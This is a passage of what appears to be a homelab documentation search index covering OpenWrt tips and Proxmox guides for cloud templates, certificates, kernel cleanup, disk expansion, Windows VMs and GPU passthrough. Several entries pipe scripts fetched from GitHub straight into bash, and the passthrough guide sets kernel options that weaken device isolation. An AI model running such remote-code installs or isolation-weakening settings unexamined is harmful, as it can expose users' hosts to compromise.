    # Revert root shell to ash if zsh is not available\nif grep -q '^root:.*:/usr/bin/zsh$' /etc/passwd && [ ! -x /usr/bin/zsh ]; then\n# zsh is root shell, but zsh was not found or not executable: revert to default ash\n[ -x /usr/bin/logger ] && /usr/bin/logger -s \"Reverting root shell to ash, as zsh was not found on the system\"\nsed -i -- 's:/usr/bin/zsh:/bin/ash:g' /etc/passwd\nfi\n
    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/openwrt/snippets/", "title": "Snippets and Tips", "text": "

    OpenWrt Snippets with useful commands and scripts. Best practices and tips.

    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/openwrt/snippets/#update-all-packages-on-openwrt-from-ssh", "title": "Update all packages on OpenWrt from SSH", "text": "
    opkg update && opkg list-upgradable | cut -f 1 -d ' ' | xargs opkg upgrade\n
    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/openwrt/snippets/#enable-luci-https-redirect-from-http", "title": "Enable LuCI HTTPS redirect from HTTP", "text": "

    This will activate the HTTPS redirect from HTTP in LuCI.

    uci set uhttpd.main.redirect_https=1\nuci commit uhttpd\nservice uhttpd reload\n
    ", "tags": ["template", "markdown"]}, {"location": "infrastructure/proxmox/cloud-image-template/", "title": "Proxmox Cloud Image Template", "text": "", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/cloud-image-template/#about-cloud-images", "title": "About Cloud Images", "text": "

    Cloud images are operating system templates and every instance starts out as an identical clone of every other instance. It is the user data that gives every cloud instance its personality and cloud-init is the tool that applies user data to your instances automatically.

    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/cloud-image-template/#advantage-of-cloud-image-template", "title": "Advantage of Cloud Image Template", "text": "
    • Predefined SSH keys
    • Predefined user account
    • Predefined network configuration
    • VM creation time is under few minutes
    • No installation process required like with ISO images
    • First boot always updated with latest updates
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/cloud-image-template/#ubuntu-cloud-images", "title": "Ubuntu Cloud Images", "text": "

    Ubuntu provides official cloud images you can find the proper image for your needs at cloud-images.ubuntu.com.

    In this tutorial we will be using Ubuntu Server 22.04 LTS Jammy Jellyfish cloud image.

    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/cloud-image-template/#create-cloud-image-template", "title": "Create Cloud Image Template", "text": "

    SSH to you Proxmox server.

    Download the cloud image template from the official website.

    wget https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-amd64.img\n

    In order to create a cloud image template first of all we need to create a new VM. After we will configure it we will create a Template from it.

    The following parameters will predefine our Base Template

    Command parameters description:

    • 9000: VM ID in Proxmox. I prefer to use high number for management purposes.
    • memory: VM's memory in MB.
    • core: Number of CPU cores for the VM.
    • name: Name of the VM and the template.
    • net0: Network interface for the VM.
    • bridge: Network bridge for the VM.
    • agent: Enable or disable QEMU agent support.
    • onboot: Enable or disable VM start on boot.

    Create a new virtual machine.

    qm create 9000 --memory 2048 --core 2 --name ubuntu-22.04-cloud --net0 virtio,bridge=vmbr0 --agent enabled=1 --onboot 1\n

    The default storage Proxmox creates for vm is storage1. In my case I use different storage for vm's and templates named storage1. The following commands will utilize the storage1 storage. Change the storage name for your Proxmox server.

    Import the downloaded Ubuntu Cloud Image we downloaded before disk to the storage.

    qm importdisk 9000 jammy-server-cloudimg-amd64.img storage1\n

    Attach the new disk to the vm as a scsi drive on the scsi controller

    qm set 9000 --scsihw virtio-scsi-pci --scsi0 storage1:vm-9000-disk-0\n

    Add cloud init drive

    qm set 9000 --ide2 storage1:cloudinit\n

    Make the cloud init drive bootable and restrict BIOS to boot from disk only

    qm set 9000 --boot c --bootdisk scsi0\n

    Add serial console

    qm set 9000 --serial0 socket --vga serial0\n

    WARNING: DO NOT START THE VM

    Powering on the vm will create a unique ID that will presist with the template. We want to avoid this.

    Now had to the Proxmox web interface. Select the new vm and Cloud-Init tab.

    Configure the default setting for the cloud image template. This will allow the VM to start with predefined user, password, ssh keys and network configuration.

    At this point we configured the VM and we can create a cloud image template from it.

    Create a new cloud image template.

    qm template 9000\n

    Now you can use the Cloud Image Template to create new vm instances. You can do it from the Proxmox web interface or from the command line.

    Tip

    Use Full Clone when creating a new VM from a cloud image template. Linked Clone will privent you from deleting the cloud image template.

    Cli example:

    qm clone 9000 122 --name my-new-vm --full\n
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/cloud-image-template/#vms-storage", "title": "VM's Storage", "text": "

    Since we are using a minimal cloud image template. Cloned VM's will use the same storage as the template which is about 2GB of disk space.

    You can utilize an automated script to to expand the disk space of the cloned VM: VM Disk Expander

    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/cloud-image-template/#troubleshooting", "title": "Troubleshooting", "text": "", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/cloud-image-template/#reseting-vms-machine-id", "title": "Reseting VM's machine-id", "text": "

    Run the following command inside the VM to reset the machine-id.

    sudo rm -f /etc/machine-id\nsudo rm -f /var/lib/dbus/machine-id\n

    Shutdown the VM. Then power it back on. The machine-id will be regenerated.

    If the machine-id is not regenerated you can try to fix it by running the following command.

    sudo systemd-machine-id-setup\n
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/lets-encrypt-cloudflare/", "title": "Proxmox Valid SSL With Let's Encrypt and Cloudflare DNS", "text": "

    This is a guide to how to setup a valid SSL certificate with Let's Encrypt and Cloudflare DNS for Proxmox VE. Let's Encrypt will allow you to obtain a valid SSL certificate for your Proxmox VE Server for free for 90 days. In the following steps, we will setup a valid SSL certificate for your Proxmox VE Server using Let's Encrypt and Cloudflare DNS Challenge. The process of renewing the certificate is done automatically by Proxmox VE Server and you do not need to do anything manually to renew the certificate.

    ", "tags": ["proxmox", "cloudflare", "letsencrypt"]}, {"location": "infrastructure/proxmox/lets-encrypt-cloudflare/#prerequarements", "title": "Prerequarements", "text": "
    • Exisiting DNS record for the domain name you want to use for Proxmox VE.
    • Cloudflare DNS Zone API Access Token.
    • Cloudflare DNS Zone ID.

    I won't be covcovering the process of creating the Zone API Tokens at this guide. You can find more information about this process here.

    ", "tags": ["proxmox", "cloudflare", "letsencrypt"]}, {"location": "infrastructure/proxmox/lets-encrypt-cloudflare/#instalaion-and-configuration", "title": "Instalaion and Configuration", "text": "

    The process will be done fully in Proxmox web interface. Login to the Proxmox web interface select Datacenter, find ACME and click on it.

    At Account section, click Add. Fill the Account Name and E-Mail. Accept the Terms and Conditions (TOC). Click Register. This will register an account for Let's Encrypt service in order to obtain a certificate.

    The output should be something like this:

    At Challenge Plugin ection, click Add. Fill the Plugin ID (name), at DNS API choose Cloudflare Managed DNS. CF_Token= and CF_Zone_ID= are the API Tokens and Zone ID for Cloudflare DNS - leave the rest empty.

    The final screen should look like this:

    Select the Pve Server in my case its name proxmox, under System select Certificates.

    At ACME section, click Edit and select the Account we created earlier.

    Click Add, select Challenge Type DNS and Challenge Plugin the plugin we created earlier. Domain is the domain name we want to use for the certificate. Click Create.

    Now its time to issue the certificate. Click Order Certificate Now.

    At this point Proxmox will try to issue the certificate from Let's Encrypt and validate it with Cloudflare DNS Challenge.

    If all goes well, you will see the following:

    Now the certificate is installed and ready to use. The renewal process is done automatically by Proxmox VE Server.

    ", "tags": ["proxmox", "cloudflare", "letsencrypt"]}, {"location": "infrastructure/proxmox/pvekclean/", "title": "PVE Kernel Cleaner", "text": "

    Easily remove old/unused PVE kernels on your Proxmox VE system

    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#developers", "title": "Developers", "text": "
    • Jordan Hillis - Lead Developer

    The original pvekclean github page

    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#what-is-pve-kernel-cleaner", "title": "What is PVE Kernel Cleaner?", "text": "

    PVE Kernel Cleaner is a program to compliment Proxmox Virtual Environment which is an open-source server virtualization environment. PVE Kernel Cleaner allows you to purge old/unused kernels filling the /boot directory. As new kernels are released the older ones have to be manually removed frequently to make room for newer ones. This can become quite tedious and require extensive time spent monitoring the system when new kernels are released and when older ones need to be cleared out to make room. With this issue existing, PVE Kernel Cleaner was created to solve it.

    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#features", "title": "Features", "text": "
    • Removes old PVE kernels from your system
    • Ability to schedule PVE kernels to automatically be removed on a daily/weekly/monthly basis
    • Run a simple pvekclean command for ease of access
    • Checks health of boot disk based on space available
    • Debug mode for non-destructive testing
    • Update function to easily update the program to the latest version
    • Allows you to specify the minimum number of most recent PVE kernels to retain
    • Support for the latest Proxmox versions and PVE kernels
    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#prerequisites", "title": "Prerequisites", "text": "

    Before using this program you will need to have the following packages installed. * cron * curl * git

    To install all required packages enter the following command.

    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#debian", "title": "Debian:", "text": "
    sudo apt-get install cron curl git\n
    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#installing", "title": "Installing", "text": "

    You can install PVE Kernel Cleaner using either Git or Curl. Choose the method that suits you best:

    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#installation-via-git", "title": "Installation via Git", "text": "
    1. Open your terminal.

    2. Enter the following commands one by one to install PVE Kernel Cleaner:

    git clone https://github.com/jordanhillis/pvekclean.git\ncd pvekclean\nchmod +x pvekclean.sh\n./pvekclean.sh\n
    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#installation-via-curl", "title": "Installation via Curl", "text": "
    1. Open your terminal.

    2. Use the following command to install PVE Kernel Cleaner:

    curl -o pvekclean.sh https://raw.githubusercontent.com/jordanhillis/pvekclean/master/pvekclean.sh\nchmod +x pvekclean.sh\n./pvekclean.sh\n
    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#updating", "title": "Updating", "text": "

    PVE Kernel Cleaner checks for updates automatically when you run it. If an update is available, you'll be notified within the program. Simply follow the on-screen instructions to install the update, and you're all set with the latest version!

    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/pvekclean/#usage", "title": "Usage", "text": "

    Example of usage:

     pvekclean [OPTION1] [OPTION2]...\n\n-k, --keep [number]   Keep the specified number of most recent PVE kernels on the system\n                      Can be used with -f or --force for non-interactive removal\n-f, --force           Force the removal of old PVE kernels without confirm prompts\n-rn, --remove-newer   Remove kernels that are newer than the currently running kernel\n-s, --scheduler       Have old PVE kernels removed on a scheduled basis\n-v, --version         Shows current version of pvekclean\n-r, --remove          Uninstall pvekclean from the system\n-i, --install         Install pvekclean to the system\n-d, --dry-run         Run the program in dry run mode for testing without making system changes\n

    ", "tags": ["proxmox"]}, {"location": "infrastructure/proxmox/vm-disk-expander/", "title": "Proxmox Virtual Machine Disk Expander", "text": "

    Github Repository: Proxmox vm disk expander

    Interactive disk expander for Proxmox's VM disks (including the partition) from your Proxmox host cli.

    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/vm-disk-expander/#curl-method", "title": "Curl Method", "text": "

    Run the script once, without installing it.

    bash <(curl -s https://raw.githubusercontent.com/bermanboris/proxmox-vm-disk-expander/main/expand.sh)\n
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/vm-disk-expander/#installer", "title": "Installer", "text": "

    Install the script at Proxmox host for multiple use.

    Run the following command from Proxmox host:

    curl -sS https://raw.githubusercontent.com/bermanboris/proxmox-vm-disk-expander/main/install.sh | bash\n
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/vm-disk-expander/#usage", "title": "Usage", "text": "
    expand-disk\n
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/vm-disk-expander/#update", "title": "Update", "text": "

    Same as the installer.

    curl -sS https://raw.githubusercontent.com/bermanboris/proxmox-vm-disk-expander/main/install.sh | bash\n
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/vm-disk-expander/#example-usageoutput", "title": "Example usage/output", "text": "
    \u256d\u2500root@proxmox ~\n\u2570\u2500# bash <(curl -s https://raw.githubusercontent.com/bermanboris/proxmox-vm-disk-expander/main/expand.sh)                                                      1 \u21b5\n      VMID NAME                 STATUS     MEM(MB)    BOOTDISK(GB) PID\n       100 vm100                running    4096              40.20 1113\n101 test                 stopped    2048               2.20 0\n9000 ubuntu22-04-cloud    stopped    2048               2.20 0\nEnter the VM ID to be expanded: 101\nEnter the size to be expanded in GB (example: 10G): 5G\nVM ID 101 disk storage1 will be expanded by 5G\nWarning: There is currently no way to downsize the disk!\nAre you sure you want to expand the disk? (yes/no): yes\n\nExpanding the disk...  Size of logical volume storage1/vm-101-disk-0 changed from <2.20 GiB (563 extents) to <7.20 GiB (1843 extents).\n  Logical volume storage1/vm-101-disk-0 successfully resized.\nGPT:Primary header thinks Alt. header is not at the end of the disk.\nGPT:Alternate GPT header not at the end of the disk.\nGPT: Use GNU Parted to correct GPT errors.\nadd map storage1-vm--101--disk--0p1 (253:12): 0 4384735 linear 253:11 227328\nadd map storage1-vm--101--disk--0p14 (253:13): 0 8192 linear 253:11 2048\nadd map storage1-vm--101--disk--0p15 (253:14): 0 217088 linear 253:11 10240\nWarning: The kernel is still using the old partition table.\nThe new table will be used at the next reboot or after you\nrun partprobe(8) or kpartx(8)\nThe operation has completed successfully.\n
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/vm-disk-expander/#limitations", "title": "Limitations", "text": "
    • VM must be stopped to expand the disk.
    • Currently supported only \"cloud images\" (or single ext4 partition installation) but if you still want to resize regular vm with LVM partition table, you need to extend the LVM partition INSIDE the vm AFTER running the script. Resizing LVM is done like this:
    $ lvm\n\nlvm> lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv\nlvm> exit\n\n$ resize2fs /dev/ubuntu-vg/ubuntu-lv\n
    • Resize of Ceph disks is currently not supported (PR are welcome!)
    ", "tags": ["proxmox", "virtualization"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/", "title": "Proxmox Windows Virtual Machine Configuration", "text": "

    This guide will walk you through configuring Windows 10 or Windows 11 Virtual Machines with VirtIO Disks and Networking using Proxmox. This configuration was tested to work with the GPU passthroughs feature from one of the following guides:

    • GPU Passthrough to VM - Full GPU passthrough to VM guide
    • iGPU Passthrough to VM - Cpu's GPU passthrough to VM guide (Intel)
    • iGPU Split Passthrough - Splitting (CPU's GPU) to Multiple GPUs passthrough to VM guide
    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#prerequirements", "title": "Prerequirements", "text": "

    Before we begin, we need to download the VirtIO Drivers for Windows iso. Upload it via the GUI as any other ISO file.

    You can allso use ssh and download it directly from the Proxmox server.

    wget -P /var/lib/vz/template/iso https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/stable-virtio/virtio-win.iso\n
    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#create-a-vm-in-proxmox", "title": "Create a VM in Proxmox", "text": "

    Create a Virutal Machine in Proxmox as usual.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#general", "title": "General", "text": "

    Select Advanced options.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#os", "title": "OS", "text": "

    Choose the iso file image for Windows 10 or 11. Change Type to Microsoft Windows and Version to your's windows version.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#system", "title": "System", "text": "

    Change the Machine type to q35, BIOS to UEFI. Add TPM for Windows 11. Alocate Storage for UEFI BIOS and TPM.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#disks", "title": "Disks", "text": "

    Set Bus/Device to VirtIO Block and Cache to Write Through. Select the storage disk and the VM's disk size.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#cpu", "title": "CPU", "text": "

    Choose how many cores you want to use. Set The cpu Type to Host

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#memory", "title": "Memory", "text": "

    Alocate the memory for the VM. Make sure the Ballooning Device is enabled.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#network", "title": "Network", "text": "

    Select your preferred network interface. Set the Model to VirtIO (paravirtualized).

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#confirm", "title": "Confirm", "text": "

    Don't Start the VM after creating it.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#add-cddvd-to-vm", "title": "Add CD/DVD to VM", "text": "

    We will need to use the VirtIO Drivers for Windows iso file to install the drivers while installing the Windows VM.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#hardware-before-installation", "title": "Hardware Before Installation", "text": "

    This how the hardware of the VM should look like befor starting the Windows installation.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#windows-installation", "title": "Windows Installation", "text": "

    The Windows installation process is the same as any other Windows OS installation. The only caveat is that you need to install the drivers for the Storage devices and Network devices.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#choose-custom-install-windows-only-advanced", "title": "Choose Custom: Install Windows only (advanced)", "text": "", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#missing-storage-devices", "title": "Missing Storage Devices", "text": "

    When prompted to select the storage device to install windows the device won't show since we are using the VirtIO storage. Select Load Driver.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#load-the-virtio-drivers", "title": "Load the VirtIO Drivers", "text": "

    Browse to the VirtIO Disk find a folder called viostor and select the appropriate windows driver.

    You should see the a Red Hat VirtIO driver selected. Click Next and install the driver.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#continue-with-the-installation-as-usual", "title": "Continue with the installation as usual", "text": "", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#missing-network-driver", "title": "Missing Network Driver", "text": "

    Windows won't be able to load network drivers while installing. When prompted with something for connecting to the Internet, select I Don't have internet and skip it. We will deal with the network drivers at post installation.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#post-installation", "title": "Post Installation", "text": "", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#install-all-the-virtio-drivers-for-windows", "title": "Install all the VirtIO Drivers for Windows", "text": "

    Open the VirtIO CD and run the virtio-win-gt-x64.exe, virtio-win-guest-tools installer. This will install all the missing virtio drivers for the VM and guest OS tools.

    After the installtion your Device Manager should look like this without any errors.

    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/windows-vm-configuration/#remove-the-virtio-cddvd-and-windows-iso", "title": "Remove the VirtIO CD/DVD and Windows iso", "text": "

    Power off the VM.

    Remove the added CD/DVD for VirtIO iso.

    Select Do nor use any media on the CD/DVD with the Windows iso.

    At this point we are done with the installation of the Windows VM.

    Follow those guides for utilizing a GPU passthrough to VM:

    • GPU Passthrough to VM - Full GPU passthrough to VM guide
    • iGPU Passthrough to VM - Cpu's GPU passthrough to VM guide (Intel)
    • [GPU Split Passthrough][gpu-split-passthrough] - Splitting (Nvidia) to Multiple GPUs passthrough to VM guide
    ", "tags": ["Proxmox", "Windows Virtual Machines", "VirtIO"]}, {"location": "infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm/", "title": "Proxmox GPU Passthrough to VM", "text": "", "tags": ["proxmox", "gpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm/#introduction", "title": "Introduction", "text": "

    GPU passthrough is a technology that allows the Linux kernel to present the internal PCI GPU directly to the virtual machine. The device behaves as if it were powered directly by the virtual machine, and the virtual machine detects the PCI device as if it were physically connected. We will cover how to enable GPU passthrough to a virtual machine in Proxmox VE.

    Your mileage may vary depending on your hardware.

    ", "tags": ["proxmox", "gpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm/#proxmox-configuration-for-gpu-passthrough", "title": "Proxmox Configuration for GPU Passthrough", "text": "

    The following examples uses SSH connection to the Proxmox server. The editor is nano but feel free to use any other editor. We will be editing the grub configuration file.

    Find the PCI address of the GPU Device. The following command will show the PCI address of the GPU devices in Proxmox server:

    lspci -nnv | grep VGA\n

    Find the GPU you want to passthrough in result ts should be similar to this:

    01:00.0 VGA compatible controller [0300]: NVIDIA Corporation TU104 [GeForce RTX 2080 SUPER] [10de:1e81] (rev a1) (prog-if 00 [VGA controller])\n

    What we are looking is the PCI address of the GPU device. In this case it's 01:00.0. 01:00.0 is only a part of of a group of PCI devices on the GPU. We can list all the devices in the group 01:00 by using the following command:

    lspci -s 01:00\n

    The usual output will include VGA Device and Audio Device. In my case, we have a USB Controller and a Serial bus controller:

    01:00.0 VGA compatible controller: NVIDIA Corporation TU104 [GeForce RTX 2080 SUPER] (rev a1)\n01:00.1 Audio device: NVIDIA Corporation TU104 HD Audio Controller (rev a1)\n01:00.2 USB controller: NVIDIA Corporation TU104 USB 3.1 Host Controller (rev a1)\n01:00.3 Serial bus controller [0c80]: NVIDIA Corporation TU104 USB Type-C UCSI Controller (rev a1)\n

    Now we need to get the id's of those devices. We can do this by using the following command:

    lspci -s 01:00 -n\n

    The output should look similar to this:

    01:00.0 0300: 10de:1e81 (rev a1)\n01:00.1 0403: 10de:10f8 (rev a1)\n01:00.2 0c03: 10de:1ad8 (rev a1)\n01:00.3 0c80: 10de:1ad9 (rev a1)\n

    What we are looking are the pairs, we will use those id to split the PCI Group to separate devices.

    10de:1e81,10de:10f8,10de:1ad8,10de:1ad9\n

    Now it's time to edit the grub configuration file.

    nano /etc/default/grub\n

    Find the line that starts with GRUB_CMDLINE_LINUX_DEFAULT by default they should look like this:

    GRUB_CMDLINE_LINUX_DEFAULT=\"quiet\"\n
    For Intel CPUFor AMD CPU
    intel_iommu=on\n
    amd_iommu=on\n

    Then change it to look like this (Intel CPU example) and replace vfio-pci.ids= with the ids for the GPU you want to passthrough:

    GRUB_CMDLINE_LINUX_DEFAULT=\"quiet intel_iommu=on pcie_acs_override=downstream,multifunction video=efifb:off video=vesa:off vfio-pci.ids=10de:1e81,10de:10f8,10de:1ad8,10de:1ad9 vfio_iommu_type1.allow_unsafe_interrupts=1 kvm.ignore_msrs=1 modprobe.blacklist=radeon,nouveau,nvidia,nvidiafb,nvidia-gpu\"\n

    Save the config changed and then update GRUB.

    update-grub\n

    Next we need to add vfio modules to allow PCI passthrough.

    Edit the /etc/modules file.

    nano /etc/modules\n

    Add the following line to the end of the file:

    # Modules required for PCI passthrough\nvfio\nvfio_iommu_type1\nvfio_pci\nvfio_virqfd\n

    Save and exit the editor.

    Update configuration changes made in your /etc filesystem

    update-initramfs -u -k all\n

    Reboot Proxmox to apply the changes

    Verify that IOMMU is enabled

    dmesg | grep -e DMAR -e IOMMU\n

    There should be a line that looks like DMAR: IOMMU enabled. If there is no output, something is wrong.

    [0.000000] Warning: PCIe ACS overrides enabled; This may allow non-IOMMU protected peer-to-peer DMA\n[0.067203] DMAR: IOMMU enabled\n[2.573920] pci 0000:00:00.2: AMD-Vi: IOMMU performance counters supported\n[2.580393] pci 0000:00:00.2: AMD-Vi: Found IOMMU cap 0x40\n[2.581776] perf/amd_iommu: Detected AMD IOMMU #0 (2 banks, 4 counters/bank).\n

    Check that the GPU is in a separate IOMMU Group by using the following command:

    #!/bin/bash\nshopt -s nullglob\nfor g in $(find /sys/kernel/iommu_groups/* -maxdepth 0 -type d | sort -V); do\necho \"IOMMU Group ${g##*/}:\"\nfor d in $g/devices/*; do\necho -e \"\\t$(lspci -nns ${d##*/})\"\ndone;\ndone;\n

    Now your Proxmox host should be ready to GPU passthrough!

    ", "tags": ["proxmox", "gpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm/#windows-virtual-machine-gpu-passthrough-configuration", "title": "Windows Virtual Machine GPU Passthrough Configuration", "text": "

    For better results its recommend to use this Windwos 10/11 Virutal Machine configuration for proxmox.

    Limitations & Workarounds

    • In order for the GPU to to function properly in the VM, you must disable Proxmox's Virutal Display - Set it none.

    • You will lose the ability to conect to the VM via Proxmox's Console.

    • Display must be conected to the physical output of the GPU for the Windows Host to initialize the GPU properly.

    • You can use a HDMI Dummy Plug as a workaround - It will present itself as a HDMI Display to the Windows Host.

    • Make sure you have alternative way to connect to the VM for example via Remote Desktop (RDP).

    Find the PCI address of the GPU.

    lspci -nnv | grep VGA\n

    This should result in output similar to this:

    01:00.0 VGA compatible controller [0300]: NVIDIA Corporation TU104 [GeForce RTX 2080 SUPER] [10de:1e81] (rev a1) (prog-if 00 [VGA controller])\n

    If you have multiple VGA, look for the one that has the Intel in the name. Here, the PCI address of the GPU is 01:00.0.

    For best performance the VM should be configured the Machine type to q35. This will allow the VM to utilize PCI-Express passthrough.

    Open the web gui and navigate to the Hardware tab of the VM you want to add a vGPU. Click Add above the device list and then choose PCI Device

    Open the Device dropdown and select the GPU, which you can find using it\u2019s PCI address. This list uses a different format for the PCI addresses id, 01:00.0 is listed as 0000:01:00.0.

    Select All Functions, ROM-Bar, Primary GPU, PCI-Express and then click Add.

    The Windows Virtual Machine Proxmox Setting should look like this:

    Power on the Windows Virtual Machine.

    Connect to the VM via Remote Desktop (RDP) or any other remote access protocol you prefer. Install the latest version of GPU Driver for your GPU.

    If all when well you should see the following output in Device Manager and GPU-Z:

    That's it!

    ", "tags": ["proxmox", "gpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm/#linux-virtual-machine-gpu-passthrough-configuration", "title": "Linux Virtual Machine GPU Passthrough Configuration", "text": "

    We will be using Ubuntu Server 20.04 LTS. for this guide.

    From Proxmox Terminal find the PCI address of the GPU.

    lspci -nnv | grep VGA\n

    This should result in output similar to this:

    01:00.0 VGA compatible controller [0300]: NVIDIA Corporation TU104 [GeForce RTX 2080 SUPER] [10de:1e81] (rev a1) (prog-if 00 [VGA controller])\n

    If you have multiple VGA, look for the one that has the Intel in the name. Here, the PCI address of the GPU is 01:00.0.

    For best performance the VM should be configured the Machine type to q35. This will allow the VM to utilize PCI-Express passthrough.

    Open the Device dropdown and select the GPU, which you can find using it\u2019s PCI address. This list uses a different format for the PCI addresses id, 01:00.0 is listed as 0000:01:00.0.

    Select All Functions, ROM-Bar, PCI-Epress and then click Add.

    The Ubuntu Virtual Machine Proxmox Setting should look like this:

    Boot the VM. To test the GPU passthrough was successful, you can use the following command in the VM:

     sudo lspci -nnv | grep VGA\n

    The output should incliude the GPU:

    01:00.0 VGA compatible controller [0300]: NVIDIA Corporation TU104 [GeForce RTX 2080 SUPER] [10de:1e81] (rev a1) (prog-if 00 [VGA controller])\n

    Now we need to install the GPU Driver. I'll be covering the installation of Nvidia Drivers in the next example.

    Search for the latest Nvidia Driver for your GPU.

    sudo apt search nvidia-driver\n

    In the next step we will install the Nvidia Driver v535.

    Note

    --no-install-recommends is important for Headless Server. nvidia-driver-535 will install xorg (GUI) --no-install-recommends flag will prevent the GUI from being installed.

    sudo apt install --no-install-recommends -y build-essential nvidia-driver-535 nvidia-headless-535 nvidia-utils-535 nvidia-cuda-toolkit\n

    This will take a while to install. After the installation is complete, you should reboot the VM.

    Now let's test the Driver initalization. Run the following command in the VM:

    nvidia-smi && nvidia-smi -L\n

    If all went well you should see the following output:

    That's it! You should now be able to use the GPU for hardware acceleration inside the VM.

    ", "tags": ["proxmox", "gpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/gpu-passthrough-to-vm/#debug", "title": "Debug", "text": "

    Dbug Messages - Shows Hardware initialization and errors

    dmesg -w\n

    Display PCI devices information

    lspci\n

    Display Driver in use for PCI devices

    lspci -k\n

    Display IOMMU Groups the PCI devices are assigned to

    #!/bin/bash\nshopt -s nullglob\nfor g in $(find /sys/kernel/iommu_groups/* -maxdepth 0 -type d | sort -V); do\necho \"IOMMU Group ${g##*/}:\"\nfor d in $g/devices/*; do\necho -e \"\\t$(lspci -nns ${d##*/})\"\ndone;\ndone;\n

    Reboot Proxmox to apply the changes

    ", "tags": ["proxmox", "gpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm/", "title": "iGPU Passthrough to VM (Intel Integrated Graphics)", "text": "", "tags": ["proxmox", "igpu", "passthrough"]}, {"location": "infrastructure/proxmox/gpu-passthrough/igpu-passthrough-to-vm/#introduction", "title": "Introduction", "text": "

